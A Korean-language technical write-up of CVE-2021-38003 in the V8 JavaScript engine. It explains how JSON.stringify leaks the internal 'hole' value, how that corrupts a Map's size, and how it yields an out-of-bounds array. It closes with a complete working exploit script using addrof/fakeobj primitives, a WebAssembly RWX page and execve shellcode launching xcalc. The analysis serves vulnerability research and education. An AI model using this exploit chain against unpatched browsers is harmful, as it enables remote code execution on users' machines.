CVE-2021-38003 (JSON.stringify leaks TheHole value, leading to RCE)

Environment Setting

OS: Ubuntu 20.04 64-bit
Memory: 8GB
Processors: 8
Hard Disk: 100GB

Install depot_tools

V8 빌드를 위해 depot_tools를 설치합니다.

cd ~
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=$PWD/depot_tools:$PATH

Download V8 source code

V8 소스 코드를 다운받고, 패치 바로 이전 커밋인 a4252db3228433fed5c2bdb0fdff9a6b7b638f3b로 이동합니다.

mkdir v8
cd v8
fetch v8
cd v8
git checkout a4252db3228433fed5c2bdb0fdff9a6b7b638f3b

Install dependencies

빌드에 필요한 dependency들을 설치합니다.

sudo apt install -y python ninja-build
gclient sync -D
./build/install-build-deps.sh

Build V8

Debug 모드와 release 모드로 빌드합니다.

gn gen out/debug --args="v8_no_inline=true v8_optimized_debug=false is_component_build=false"
gn gen out/release --args="v8_no_inline=true is_debug=false"
ninja -C out/debug d8; ninja -C out/release d8

Prerequisite Knowledge

Hole

V8에서 hole은 빈 공간을 나타내는 object입니다.

기본적으로, JavaScript에서 사용자는 hole을 직접 다룰 수 없습니다.

/* v8/src/compiler/js-call-reducer.cc */

    // The contract is that we don't leak "the hole" into "user JavaScript",
    // so we must rename the {element} here to explicitly exclude "the hole"
    // from the type of {element}.

a[1]에 접근하면 hole이 아니라 undefined를 반환하는 것을 확인할 수 있습니다.

% TheHole()을 사용하여 hole에 접근할 수 있지만, 이 값을 변수에 할당하면 다시 undefined로 처리됩니다.

만약 JavaScript에서 hole이 leak되어 사용자가 직접 다룰 수 있게 된다면, 이는 임의 코드 실행까지 이어질 수 있는 심각한 취약점입니다.

JSMap

JavaScript의 Map은 object와 비슷하게 key-value 쌍을 저장하지만, 몇 가지 차이점이 있습니다.

기본적인 사용법은 set()으로 쌍을 추가하고 get()으로 가져옵니다.

Map은 일반적인 property와 element를 갖지 않고, set()으로 추가한 쌍(이하 element)들은 OrderedHashMap 형식의 table에 저장됩니다.

비어 있는 map의 메모리 구조를 보면 다음과 같습니다.

• table: OrderedHashMap table의 주소
• elements: Table에 저장된 element들의 개수
• deleted: Table에서 삭제된 element들의 개수
• buckets: Table의 bucket의 개수 (항상 2의 거듭제곱)

앞에서와 같이 2개의 element들을 추가한 후 메모리 구조를 보면 다음과 같습니다.

elements의 값이 2가 되었고, 뒤쪽에 key-value-chain의 triplet들이 추가되었습니다.

Table의 capacity는 buckets의 2배입니다.

/* v8/src/objects/ordered-hash-table.h */

  int Capacity() { return NumberOfBuckets() * kLoadFactor; }

/* v8/src/objects/ordered-hash-table.h */

  static const int kLoadFactor = 2;

초기에 buckets가 2이므로 capacity는 4이고, 따라서 최대 4개까지 element들을 추가할 수 있습니다. 만약 capacity보다 많은 element들을 추가하려 하면 capacity가 2배로 증가하고 rehash가 진행됩니다.

/* v8/src/objects/ordered-hash-table.cc */

MaybeHandle<OrderedHashMap> OrderedHashMap::Rehash(Isolate* isolate,
                                                   Handle<OrderedHashMap> table,
                                                   int new_capacity) {
  return Base::Rehash(isolate, table, new_capacity);
}

Rehash 전후 상태를 비교해보기 위해 OrderedHashMap::Rehash() 함수를 다음과 같이 수정합니다.

/* v8/src/objects/ordered-hash-table.cc */

MaybeHandle<OrderedHashMap> OrderedHashMap::Rehash(Isolate* isolate,
                                                   Handle<OrderedHashMap> table,
                                                   int new_capacity) {
  printf("OrderedHashMap::Rehash()\n");                                        
  table->Print();
  MaybeHandle<OrderedHashMap> result = Base::Rehash(isolate, table, new_capacity);
  result.ToHandleChecked()->Print();
  printf("\n");
  return result;
}

빌드한 후, 다음의 코드를 debug 모드로 실행해봅니다.

/* test.js */

let m = new Map();

m.set(1, 0x100);
m.set(2, 0x200);
m.set(3, 0x300);
m.set(4, 0x400);
m.set(5, 0x500);  // rehash (capacity: 4, elements: 5)

./d8 --allow-natives-syntax test.js

buckets와 capacity가 rehash 이후에 2배로 증가한 것을 확인할 수 있습니다.

Element를 삭제하여 elements가 buckets의 1/2 미만으로 내려갈 경우에는 buckets가 절반으로 감소하고 마찬가지로 rehash가 진행됩니다. 단, elements가 1에서 0이 될 때는 buckets가 최솟값인 2에서 감소하지 않습니다.

/* v8/src/builtins/builtins-collections-gen.cc */

TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) {
...
  // If there fewer elements than #buckets / 2, shrink the table.
  Label shrink(this);
  GotoIf(SmiLessThan(SmiAdd(number_of_elements, number_of_elements),
                     number_of_buckets),
         &shrink);
  Return(TrueConstant());

  BIND(&shrink);
  CallRuntime(Runtime::kMapShrink, context, receiver);
  Return(TrueConstant());
}

/* test.js */

let m = new Map();

m.set(1, 0x100);
m.set(2, 0x200);
m.set(3, 0x300);
m.set(4, 0x400);
m.set(5, 0x500);  // rehash (capacity: 4, elements: 4 -> 5)

m.delete(5);
m.delete(4);
m.delete(3);
m.delete(2);  // rehash (buckets: 4, elements: 2 -> 1)

m.delete(1);  // rehash (buckets: 2, elements: 1 -> 0)

Analysis

pending_exception_

JavaScript의 builtin 함수에서 exception이 발생하면 해당 exception_obj가 isolate의 pending_exception_ 필드에 저장됩니다.

/* v8/src/execution/isolate-inl.h */

void Isolate::set_pending_exception(Object exception_obj) {
  DCHECK(!exception_obj.IsException(this));
  thread_local_top()->pending_exception_ = exception_obj;
}

여기서 저장된 pending_exception_에는 pending_exception()으로 접근하고,

/* v8/src/execution/isolate-inl.h */

Object Isolate::pending_exception() {
  DCHECK(has_pending_exception());
  DCHECK(!thread_local_top()->pending_exception_.IsException(this));
  return thread_local_top()->pending_exception_;
}

처리가 끝나면 clear_pending_exception()을 호출하여 pending_exception_을 다시 hole로 초기화합니다.

/* v8/src/execution/isolate-inl.h */

void Isolate::clear_pending_exception() {
  DCHECK(!thread_local_top()->pending_exception_.IsException(this));
  thread_local_top()->pending_exception_ = ReadOnlyRoots(this).the_hole_value();
}

Exception in JSON.stringify

/* v8/src/builtins/builtins-json.cc */

BUILTIN(JsonStringify) {
  HandleScope scope(isolate);
  Handle<Object> object = args.atOrUndefined(isolate, 1);
  Handle<Object> replacer = args.atOrUndefined(isolate, 2);
  Handle<Object> indent = args.atOrUndefined(isolate, 3);
  RETURN_RESULT_OR_FAILURE(isolate,
                           JsonStringify(isolate, object, replacer, indent));
}

/* v8/src/execution/isolate.h */

#define RETURN_RESULT_OR_FAILURE(isolate, call)      \
  do {                                               \
    Handle<Object> __result__;                       \
    Isolate* __isolate__ = (isolate);                \
    if (!(call).ToHandle(&__result__)) {             \
      DCHECK(__isolate__->has_pending_exception());  \
      return ReadOnlyRoots(__isolate__).exception(); \
    }                                                \
    DCHECK(!__isolate__->has_pending_exception());   \
    return *__result__;                              \
  } while (false)

RETURN_RESULT_OR_FAILURE()는 call의 결과를 __result__에 저장합니다. 여기서는 JsonStringify()를 호출하고 그 반환값을 저장합니다.

/* v8/src/json/json-stringifier.cc */

MaybeHandle<Object> JsonStringify(Isolate* isolate, Handle<Object> object,
                                  Handle<Object> replacer, Handle<Object> gap) {
  JsonStringifier stringifier(isolate);
  return stringifier.Stringify(object, replacer, gap);
}

/* v8/src/json/json-stringifier.cc */

MaybeHandle<Object> JsonStringifier::Stringify(Handle<Object> object,
                                               Handle<Object> replacer,
                                               Handle<Object> gap) {
  if (!InitializeReplacer(replacer)) return MaybeHandle<Object>();
  if (!gap->IsUndefined(isolate_) && !InitializeGap(gap)) {
    return MaybeHandle<Object>();
  }
  Result result = SerializeObject(object);
  if (result == UNCHANGED) return factory()->undefined_value();
  if (result == SUCCESS) return builder_.Finish();
  DCHECK(result == EXCEPTION);
  return MaybeHandle<Object>();
}

/* v8/src/json/json-stringifier.cc */

  // Entry point to serialize the object.
  V8_INLINE Result SerializeObject(Handle<Object> obj) {
    return Serialize_<false>(obj, false, factory()->empty_string());
  }

JsonStringify() 내부에서 JsonStringifier::Stringify()를 호출하고, 다시 그 내부에서 SerializeObject()를 호출하여 그 반환값을 result에 저장합니다.

SerializeObject()에서 나올 수 있는 결과는 3가지입니다.

/* src/json/json-stringifier.cc */

  enum Result { UNCHANGED, SUCCESS, EXCEPTION };

SerializeObject()의 반환값이 EXCEPTION이라는 것은 exception이 발생했음을 의미합니다.

JsonStringifier::Serialize_()에서 return EXCEPTION;을 찾아보면, 대부분 바로 전에 pending_exception_을 설정하는 루틴이 있습니다. 예를 들어,

/* v8/src/json/json-stringifier.cc */

JsonStringifier::Result JsonStringifier::SerializeJSPrimitiveWrapper(
    Handle<JSPrimitiveWrapper> object, Handle<Object> key) {
...
    isolate_->Throw(
        *factory()->NewTypeError(MessageTemplate::kBigIntSerializeJSON));
    return EXCEPTION;
...
}

이 경우에는 EXCEPTION을 반환하기 전에 Throw()를 호출하는데,

/* v8/src/execution/isolate.h */

  Object Throw(Object exception) { return ThrowInternal(exception, nullptr); }

/* v8/src/execution/isolate.cc */

Object Isolate::ThrowInternal(Object raw_exception, MessageLocation* location) {
...
  // Set the exception being thrown.
  set_pending_exception(*exception);
  return ReadOnlyRoots(heap()).exception();
}

Throw()는 내부에서 set_pending_exception()을 호출하여 pending_exception_ 필드에 exception을 저장합니다.

그런데 하나의 예외가 존재합니다.

/* v8/src/json/json-stringifier.cc */

JsonStringifier::Result JsonStringifier::SerializeArrayLikeSlow(
    Handle<JSReceiver> object, uint32_t start, uint32_t length) {
...
  for (uint32_t i = start; i < length; i++) {
...
    Result result = SerializeElement(isolate_, element, i);
    if (result == SUCCESS) continue;
    if (result == UNCHANGED) {
      // Detect overflow sooner for large sparse arrays.
      if (builder_.HasOverflowed()) return EXCEPTION;
      builder_.AppendCString("null");
    } else {
      return result;
    }
  }
  return SUCCESS;
}

SerializeArrayLikeSlow()에서는 인자로 전달된 array의 element들을 하나씩 SerializeElement()에 넣어서 serialization을 진행합니다. 이 과정에서 serialize된 문자열의 길이가 String::kMaxLength를 초과하면 overflowed_ 플래그가 true로 설정됩니다.

/* v8/include/v8-primitive.h */

class V8_EXPORT String : public Name {
 public:
  static constexpr int kMaxLength =
      internal::kApiSystemPointerSize == 4 ? (1 << 28) - 16 : (1 << 29) - 24;

SerializeElement()의 반환값이 UNCHANGED이면 HasOverflowed()를 호출해서 overflowed_의 값을 확인하여 overflow가 발생했는지 검사하고, 만약 overflow가 발생했다면 SerializeArrayLikeSlow()는 바로 EXCEPTION을 반환합니다.

overflowed_를 true로 설정하는 유일한 루틴은 IncrementalStringBuilder::Accumulate()에 있습니다.

/* v8/src/strings/string-builder.cc */

void IncrementalStringBuilder::Accumulate(Handle<String> new_part) {
  Handle<String> new_accumulator;
  if (accumulator()->length() + new_part->length() > String::kMaxLength) {
    // Set the flag and carry on. Delay throwing the exception till the end.
    new_accumulator = factory()->empty_string();
    overflowed_ = true;
  } else {
    new_accumulator =
        factory()->NewConsString(accumulator(), new_part).ToHandleChecked();
  }
  set_accumulator(new_accumulator);
}

기존의 문자열의 길이와 새로 추가할 문자열의 길이를 더한 결과가 String::kMaxLength보다 크면 overflowed_를 true로 설정하고 문자열을 empty_string()으로 초기화합니다.

Accumulate()는 Extend()와 Finish()에서 호출됩니다.

/* v8/src/strings/string-builder.cc */

void IncrementalStringBuilder::Extend() {
  DCHECK_EQ(current_index_, current_part()->length());
  Accumulate(current_part());
  if (part_length_ <= kMaxPartLength / kPartLengthGrowthFactor) {
    part_length_ *= kPartLengthGrowthFactor;
  }
  Handle<String> new_part;
  if (encoding_ == String::ONE_BYTE_ENCODING) {
    new_part = factory()->NewRawOneByteString(part_length_).ToHandleChecked();
  } else {
    new_part = factory()->NewRawTwoByteString(part_length_).ToHandleChecked();
  }
  // Reuse the same handle to avoid being invalidated when exiting handle scope.
  set_current_part(new_part);
  current_index_ = 0;
}

MaybeHandle<String> IncrementalStringBuilder::Finish() {
  ShrinkCurrentPart();
  Accumulate(current_part());
  if (overflowed_) {
    THROW_NEW_ERROR(isolate_, NewInvalidStringLengthError(), String);
  }
  return accumulator();
}

문자열이 너무 길면 여러 부분으로 나누어서 이어붙이는 과정을 반복하는데, Extend()는 그 과정에서 호출됩니다. Finish()는 element들을 모두 처리한 후 serialization을 마무리할 때 호출됩니다. Finish()에서는 overflowed_가 true이면 에러를 발생시키는데, Extend()에는 overflow를 처리하는 루틴이 없습니다. 따라서 Finish()가 호출되기 전, 즉 serialization이 완료되기 전에 overflow를 발생시키고 SerializeElement()의 반환값이 UNCHANGED가 나오도록 하면 버그를 발생시킬 수 있습니다.

/* v8/src/json/json-stringifier.cc */

  V8_INLINE Result SerializeElement(Isolate* isolate, Handle<Object> object,
                                    int i) {
    return Serialize_<false>(object, false,
                             Handle<Object>(Smi::FromInt(i), isolate));
  }

/* v8/src/json/json-stringifier.cc */

template <bool deferred_string_key>
JsonStringifier::Result JsonStringifier::Serialize_(Handle<Object> object,
                                                    bool comma,
                                                    Handle<Object> key) {
...
  switch (HeapObject::cast(*object).map().instance_type()) {
...
    case ODDBALL_TYPE:
      switch (Oddball::cast(*object).kind()) {
        case Oddball::kFalse:
          if (deferred_string_key) SerializeDeferredKey(comma, key);
          builder_.AppendCString("false");
          return SUCCESS;
        case Oddball::kTrue:
          if (deferred_string_key) SerializeDeferredKey(comma, key);
          builder_.AppendCString("true");
          return SUCCESS;
        case Oddball::kNull:
          if (deferred_string_key) SerializeDeferredKey(comma, key);
          builder_.AppendCString("null");
          return SUCCESS;
        default:
          return UNCHANGED;
      }
...
}

Element의 type이 Oddball::kFalse, Oddball::kTrue, Oddball::kNull이 아닌 ODDBALL_TYPE이면 SerializeElement()는 UNCHANGED를 반환합니다.

/* v8/src/objects/oddball.h */

// The Oddball describes objects null, undefined, true, and false.
class Oddball : public TorqueGeneratedOddball<Oddball, PrimitiveHeapObject> {
...
  static const byte kFalse = 0;
  static const byte kTrue = 1;
  static const byte kNotBooleanMask = static_cast<byte>(~1);
  static const byte kTheHole = 2;
  static const byte kNull = 3;
  static const byte kArgumentsMarker = 4;
  static const byte kUndefined = 5;
  static const byte kUninitialized = 6;
  static const byte kOther = 7;
  static const byte kException = 8;
  static const byte kOptimizedOut = 9;
  static const byte kStaleRegister = 10;
  static const byte kSelfReferenceMarker = 10;
  static const byte kBasicBlockCountersMarker = 11;

PoC

/* poc.js */

let hole;
let a = ['a'.repeat(1 << 28), 'b'.repeat(1 << 28), 'c'.repeat(0x10000), , 'd'];

try {
    JSON.stringify(a);
} catch (e) {
    hole = e;
}

% DebugPrint(hole);

64비트 기준으로 String::kMaxLength의 값은 (1 << 29) - 24입니다. JSON.stringify()가 a[1]까지 처리하고 나면 문자열이 String::kMaxLength보다 길어지기 때문에, a[2]를 처리할 때 overflowed_가 true로 설정됩니다. 그리고 나서 a[3]을 처리하는데 type이 Oddball::kUndefined이므로 SerializeElement()가 UNCHANGED를 반환합니다. 따라서 pending_exception_이 설정되지 않은 상태로 SerializeObject()가 EXCEPTION을 반환하고, e에는 pending_exception_의 값, 즉 hole이 저장됩니다.

./d8 poc.js --allow-natives-syntax

Exploit

Make size of JSMap to -1

Map에서 element가 삭제되면, key와 value 자리를 hole로 덮어써서 삭제된 element임을 나타내고 size를 1 감소시킵니다.

/* v8/src/builtins/builtins-collections-gen.cc */

TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) {
...
  TryLookupOrderedHashTableIndex<OrderedHashMap>(
      table, key, &entry_start_position_or_hash, &entry_found, &not_found);

  BIND(&not_found);
  Return(FalseConstant());

  BIND(&entry_found);
  // If we found the entry, mark the entry as deleted.
  StoreFixedArrayElement(table, entry_start_position_or_hash.value(),
                         TheHoleConstant(), UPDATE_WRITE_BARRIER,
                         kTaggedSize * OrderedHashMap::HashTableStartIndex());
  StoreFixedArrayElement(table, entry_start_position_or_hash.value(),
                         TheHoleConstant(), UPDATE_WRITE_BARRIER,
                         kTaggedSize * (OrderedHashMap::HashTableStartIndex() +
                                        OrderedHashMap::kValueOffset));

  // Decrement the number of elements, increment the number of deleted elements.
  const TNode<Smi> number_of_elements = SmiSub(
      CAST(LoadObjectField(table, OrderedHashMap::NumberOfElementsOffset())),
      SmiConstant(1));
  StoreObjectFieldNoWriteBarrier(
      table, OrderedHashMap::NumberOfElementsOffset(), number_of_elements);
  const TNode<Smi> number_of_deleted =
      SmiAdd(CAST(LoadObjectField(
                 table, OrderedHashMap::NumberOfDeletedElementsOffset())),
             SmiConstant(1));
  StoreObjectFieldNoWriteBarrier(
      table, OrderedHashMap::NumberOfDeletedElementsOffset(),
      number_of_deleted);
...
}

이 상태에서 key가 hole인 element를 삭제하려고 시도하면 V8은 TryLookupOrderedHashTableIndex()를 호출하여 key 자리에 hole이 저장되어 있는 element가 존재하는지 탐색합니다.

/* v8/src/builtins/builtins-collections-gen.cc */

template <typename CollectionType>
void CollectionsBuiltinsAssembler::TryLookupOrderedHashTableIndex(
    const TNode<CollectionType> table, const TNode<Object> key,
    TVariable<IntPtrT>* result, Label* if_entry_found, Label* if_not_found) {
...
  GotoIf(TaggedIsSmi(key), &if_key_smi);

  TNode<Map> key_map = LoadMap(CAST(key));
  TNode<Uint16T> key_instance_type = LoadMapInstanceType(key_map);

  GotoIf(IsStringInstanceType(key_instance_type), &if_key_string);
  GotoIf(IsHeapNumberMap(key_map), &if_key_heap_number);
  GotoIf(IsBigIntInstanceType(key_instance_type), &if_key_bigint);

  FindOrderedHashTableEntryForOtherKey<CollectionType>(
      table, CAST(key), result, if_entry_found, if_not_found);
...
}

hole은 Smi, String, HeapNumber, BigInt에 모두 해당되지 않으므로 FindOrderedHashTableEntryForOtherKey()로 들어갑니다.

/* v8/src/builtins/builtins-collections-gen.cc */

template <typename CollectionType>
void CollectionsBuiltinsAssembler::FindOrderedHashTableEntryForOtherKey(
    TNode<CollectionType> table, TNode<HeapObject> key_heap_object,
    TVariable<IntPtrT>* result, Label* entry_found, Label* not_found) {
  const TNode<IntPtrT> hash = GetHash(key_heap_object);
  CSA_DCHECK(this, IntPtrGreaterThanOrEqual(hash, IntPtrConstant(0)));
  *result = hash;
  FindOrderedHashTableEntry<CollectionType>(
      table, hash,
      [&](TNode<Object> other_key, Label* if_same, Label* if_not_same) {
        Branch(TaggedEqual(key_heap_object, other_key), if_same, if_not_same);
      },
      result, entry_found, not_found);
}

/* v8/src/builtins/builtins-collections-gen.cc */

template <typename CollectionType>
void CollectionsBuiltinsAssembler::FindOrderedHashTableEntry(
    const TNode<CollectionType> table, const TNode<IntPtrT> hash,
    const std::function<void(TNode<Object>, Label*, Label*)>& key_compare,
    TVariable<IntPtrT>* entry_start_position, Label* entry_found,
    Label* not_found) {
...
  // Walk the bucket chain.
  TNode<IntPtrT> entry_start;
  Label if_key_found(this);
  {
    TVARIABLE(IntPtrT, var_entry, first_entry);
    Label loop(this, {&var_entry, entry_start_position}),
        continue_next_entry(this);
    Goto(&loop);
    BIND(&loop);

    // If the entry index is the not-found sentinel, we are done.
    GotoIf(IntPtrEqual(var_entry.value(),
                       IntPtrConstant(CollectionType::kNotFound)),
           not_found);

    // Make sure the entry index is within range.
    CSA_DCHECK(
        this,
        UintPtrLessThan(
            var_entry.value(),
            SmiUntag(SmiAdd(
                CAST(UnsafeLoadFixedArrayElement(
                    table, CollectionType::NumberOfElementsIndex())),
                CAST(UnsafeLoadFixedArrayElement(
                    table, CollectionType::NumberOfDeletedElementsIndex()))))));

    // Compute the index of the entry relative to kHashTableStartIndex.
    entry_start =
        IntPtrAdd(IntPtrMul(var_entry.value(),
                            IntPtrConstant(CollectionType::kEntrySize)),
                  number_of_buckets);

    // Load the key from the entry.
    const TNode<Object> candidate_key = UnsafeLoadFixedArrayElement(
        table, entry_start,
        CollectionType::HashTableStartIndex() * kTaggedSize);

    key_compare(candidate_key, &if_key_found, &continue_next_entry);

    BIND(&continue_next_entry);
    // Load the index of the next entry in the bucket chain.
    var_entry = SmiUntag(CAST(UnsafeLoadFixedArrayElement(
        table, entry_start,
        (CollectionType::HashTableStartIndex() + CollectionType::kChainOffset) *
            kTaggedSize)));

    Goto(&loop);
  }

  BIND(&if_key_found);
  *entry_start_position = entry_start;
  Goto(entry_found);
}

FindOrderedHashTableEntry()에서는 bucket chain을 돌면서 element의 key가 찾고자 하는 것과 같은지 하나씩 검사하는데, 탐색 횟수는 element의 개수와는 관계가 없습니다. 그래서 debug 모드에서는 찾은 element의 index가 유효하지 않은 범위에 있다면 CSA_DCHECK()에서 에러를 발생시킵니다.

따라서, 앞에서 삭제한 element의 key 자리에 hole이 들어가있기 때문에 이 element의 key와 value를 다시 hole로 덮어쓰고 size를 1 감소시킵니다. 이 원리로 glibc heap에서의 double free처럼 하나의 element를 여러 번 삭제할 수 있고, 결과적으로 size를 음수로 만들 수 있게 됩니다.

/* test.js */

let m = new Map();

m.set(1, 1);  // avoid shrinkage
m.set(2, 2);
% DebugPrint(m);
% SystemBreak();

m.delete(2);  // key and value is overwritten with hole
% SystemBreak();

m.delete(% TheHole());  // m.size == 0
% DebugPrint(m);
% SystemBreak();

m.delete(1);  // m.size == -1
% DebugPrint(m);
console.log('m.size == ' + m.size);

처음에 m.set(1, 1)을 넣어주는 이유는, m.delete(2)를 실행한 후 elements가 0이 되면 buckets(2)의 1/2 미만이 되어 table이 shrink되어 새로 할당되고, 그러면 hole이 사라지기 때문에 이를 방지하기 위함입니다.

첫 번째 % SystemBreak()가 걸린 직후의 메모리를 보면 다음과 같습니다.

m.delete(2)가 실행되면,

Key와 value가 hole로 덮어씌워지고 elements가 1로 감소합니다.

m.delete(% TheHole())이 실행되면,

아직 처음에 추가한 한 개의 element가 남아 있음에도 불구하고 elements가 0이 됩니다. 이 상태에서 m.delete(1)이 실행되면,

elements가 -1이 되고, table이 shrink되어 deleted는 그대로 0인 것을 확인할 수 있습니다.

Overwrite buckets of map

Map에 새로운 element를 추가할 때, elements와 deleted를 더한 값이 메모리 상에서 그 element가 저장될 index(occupancy)가 됩니다.

/* v8/src/builtins/builtins-collections-gen.cc */

TF_BUILTIN(MapPrototypeSet, CollectionsBuiltinsAssembler) {
...
  {
    // Check we have enough space for the entry.
    number_of_buckets = SmiUntag(CAST(UnsafeLoadFixedArrayElement(
        table, OrderedHashMap::NumberOfBucketsIndex())));

    STATIC_ASSERT(OrderedHashMap::kLoadFactor == 2);
    const TNode<WordT> capacity = WordShl(number_of_buckets.value(), 1);
    const TNode<IntPtrT> number_of_elements = SmiUntag(
        CAST(LoadObjectField(table, OrderedHashMap::NumberOfElementsOffset())));
    const TNode<IntPtrT> number_of_deleted = SmiUntag(CAST(LoadObjectField(
        table, OrderedHashMap::NumberOfDeletedElementsOffset())));
    occupancy = IntPtrAdd(number_of_elements, number_of_deleted);
    GotoIf(IntPtrLessThan(occupancy.value(), capacity), &store_new_entry);

    // We do not have enough space, grow the table and reload the relevant
    // fields.
...
  }
  BIND(&store_new_entry);
  // Store the key, value and connect the element to the bucket chain.
  StoreOrderedHashMapNewEntry(table_var.value(), key, value,
                              entry_start_position_or_hash.value(),
                              number_of_buckets.value(), occupancy.value());
  Return(receiver);
}

앞에서 hole을 이용하여 elements가 -1이고 deleted가 0인 table을 만들었습니다. occupancy가 -1이 되므로, 이 상태에서 추가되는 element가 저장되는 위치는 다음과 같습니다.

따라서 buckets를 원하는 값으로 덮어쓸 수 있습니다.

Generate OOB array

Map의 바로 뒤쪽에 array를 할당하고, OOB를 통해 array의 length 필드를 큰 값으로 덮어쓰면 이 array를 통해 자유로운 OOB read/write가 가능해집니다.

Map에서, buckets 바로 뒤쪽에는 hash table이 있습니다.

/* v8/src/objects/ordered-hash-table.h */

// Memory layout:
//   [0] : Prefix
//   [kPrefixSize]: element count
//   [kPrefixSize + 1]: deleted element count
//   [kPrefixSize + 2]: bucket count
//   [kPrefixSize + 3..(kPrefixSize + 3 + NumberOfBuckets() - 1)]: "hash table",
//                            where each item is an offset into the
//                            data table (see below) where the first
//                            item in this bucket is stored.
//   [kPrefixSize + 3 + NumberOfBuckets()..length]: "data table", an
//                            array of length Capacity() * kEntrySize,
//                            where the first entrysize items are
//                            handled by the derived class and the
//                            item at kChainOffset is another entry
//                            into the data table indicating the next
//                            entry in this hash bucket.

Hash table은 크기가 buckets인 배열로, 각 bucket의 첫 번째 element가 저장된 offset을 가지고 있습니다.

/* test.js */

let m;
let oob_arr;

function gen_oob() {
    m = new Map();

    m.set(1, 1);  // avoid shrinkage
    m.set(2, 2);
    m.delete(2);  // key and value are overwritten with hole
    m.delete(% TheHole());  // m.size == 0
    m.delete(1);  // m.size == -1
    m.set(0x1234, -1);

    oob_arr = [1.1];
}

gen_oob();

buckets에 0x16을 넣으면 oob_arr의 length 필드 바로 전까지가 hash table이 되고, 다음에 추가하는 element의 key가 length 필드를 덮어쓰게 됩니다. 이때 주의할 점이 있는데, key에 따라 들어갈 bucket이 정해지는데 hash table에서 유효한 start index를 가진 bucket이 몇 개 없기 때문에, 적절한 bucket에 들어가도록 key를 조절해주어야 합니다.

/* test.js */

let m;
let oob_arr;

function gen_oob() {
    m = new Map();

    m.set(1, 1);  // avoid shrinkage
    m.set(2, 2);
    m.delete(2);  // key and value are overwritten with hole
    m.delete(% TheHole());  // m.size == 0
    m.delete(1);  // m.size == -1
    m.set(0x16, -1);

    oob_arr = [1.1];

    m.set(0x1006, 0);
}

gen_oob();
% DebugPrint(oob_arr);

이제 고전적인 V8 exploit을 진행하면 됩니다.

Full exploit

/* ex.js */


/* helpers */

let fi_buf = new ArrayBuffer(8);  // shared buffer
let f_buf = new Float64Array(fi_buf);  // buffer for float
let i_buf = new BigUint64Array(fi_buf);  // buffer for bigint

// convert float to bigint
function ftoi(f) {
    f_buf[0] = f;
    return i_buf[0];
}

// convert bigint to float
function itof(i) {
    i_buf[0] = i;
    return f_buf[0];
}

// print integer as hex
function hex(i) {
    console.log('0x' + i.toString(16));
}


/* leak hole */

function leak_hole() {
    let a = ['a'.repeat(1 << 28), 'b'.repeat(1 << 28), 'c'.repeat(0x10000), , 'd'];

    try {
        JSON.stringify(a);
    } catch (e) {
        return e;
    }
}


let tmp_obj = { a: 1 };
let m;
let oob_arr;  // array for OOB
let obj_arr;  // array of objects
let aar_arr;  // array for AAR
let buf;  // ArrayBuffer for shellcode

let shellcode = [72, 184, 47, 120, 99, 97, 108, 99, 0, 0, 80, 72, 184, 47, 117, 115, 114, 47, 98, 105, 110, 80, 72, 137, 231, 72, 184, 120, 99, 97, 108, 99, 0, 0, 0, 80, 72, 137, 224, 106, 0, 80, 72, 137, 230, 72, 49, 246, 72, 199, 192, 58, 48, 0, 0, 80, 72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 72, 137, 224, 106, 0, 80, 72, 137, 226, 72, 199, 192, 59, 0, 0, 0, 15, 5];  // execve("/usr/bin/xcalc", 0, ["DISPLAY=:0", 0])

// generate OOB array
function gen_oob() {
    let hole = leak_hole();

    m = new Map();

    m.set(1, 1);  // avoid shrinkage
    m.set(hole, 2);
    m.delete(hole);  // key and value are overwritten with hole
    m.delete(hole);  // m.size == 0
    m.delete(1);  // m.size == -1
    m.set(0x16, -1);

    oob_arr = [1.1];
    let dummy = [];  // corrupted while overwriting length of oob_arr
    obj_arr = [tmp_obj];
    aar_arr = [1.1];
    buf = new ArrayBuffer(shellcode.length);

    m.set(0x1006, 0);
}

gen_oob();
console.log('oob_arr.length == 0x' + oob_arr.length.toString(16));

// get (compressed) address of object
function addrof(obj) {
    obj_arr[0] = obj;
    return ftoi(oob_arr[6]) & 0xffffffffn;
}

// generate fake object at (compressed) address
function fakeobj(addr) {
    let obj_addr = ftoi(oob_arr[6]);
    obj_addr &= (0xffffffffn << 32n);
    obj_addr |= addr;
    oob_arr[6] = itof(obj_addr);
    return obj_arr[0];
}

// arbitrary (compressed) address read
function aar(addr) {
    let elements = ftoi(oob_arr[12]);
    elements &= (0xffffffffn << 32n);
    elements |= addr - 8n;
    oob_arr[12] = itof(elements);
    return ftoi(aar_arr[0]);
}

// allocate rwx memory region
let wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 0, 11]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);
let sh = wasmInstance.exports.main;
let rwx = aar(addrof(wasmInstance) + 0x60n);

// overwrite backing store of buf with address of rwx memory region
let bs = ftoi(oob_arr[16]);
bs &= 0xffffffffn;
bs |= (rwx & 0xffffffffn) << 32n;
oob_arr[16] = itof(bs);
bs = ftoi(oob_arr[17]);
bs &= (0xffffffffn << 32n);
bs |= (rwx & (0xffffffffn << 32n)) >> 32n;
oob_arr[17] = itof(bs);

// store shellcode in rwx memory region
let view = new DataView(buf);
for (let i = 0; i < shellcode.length; i++) {
    view.setUint8(i, shellcode[i]);
}

// execute shellcode
sh();

./d8 ex.js

References

• CVE-2021-38003 - NVD
• Issue 1263462: Security: JSON.stringify leaks TheHole value, leading to RCE - crbug
• be55c16e50e714475034b00ed2682f0813794d15 - V8 git
• TheHole New World - how a small leak will sink a great browser (CVE-2021-38003) - STAR LABS
• From Leaking TheHole to Chrome Renderer RCE - Numen Cyber Labs
• Map - MDN Web Docs
• [V8 Deep Dives] Understanding Map Internals - Andrey Pechkurov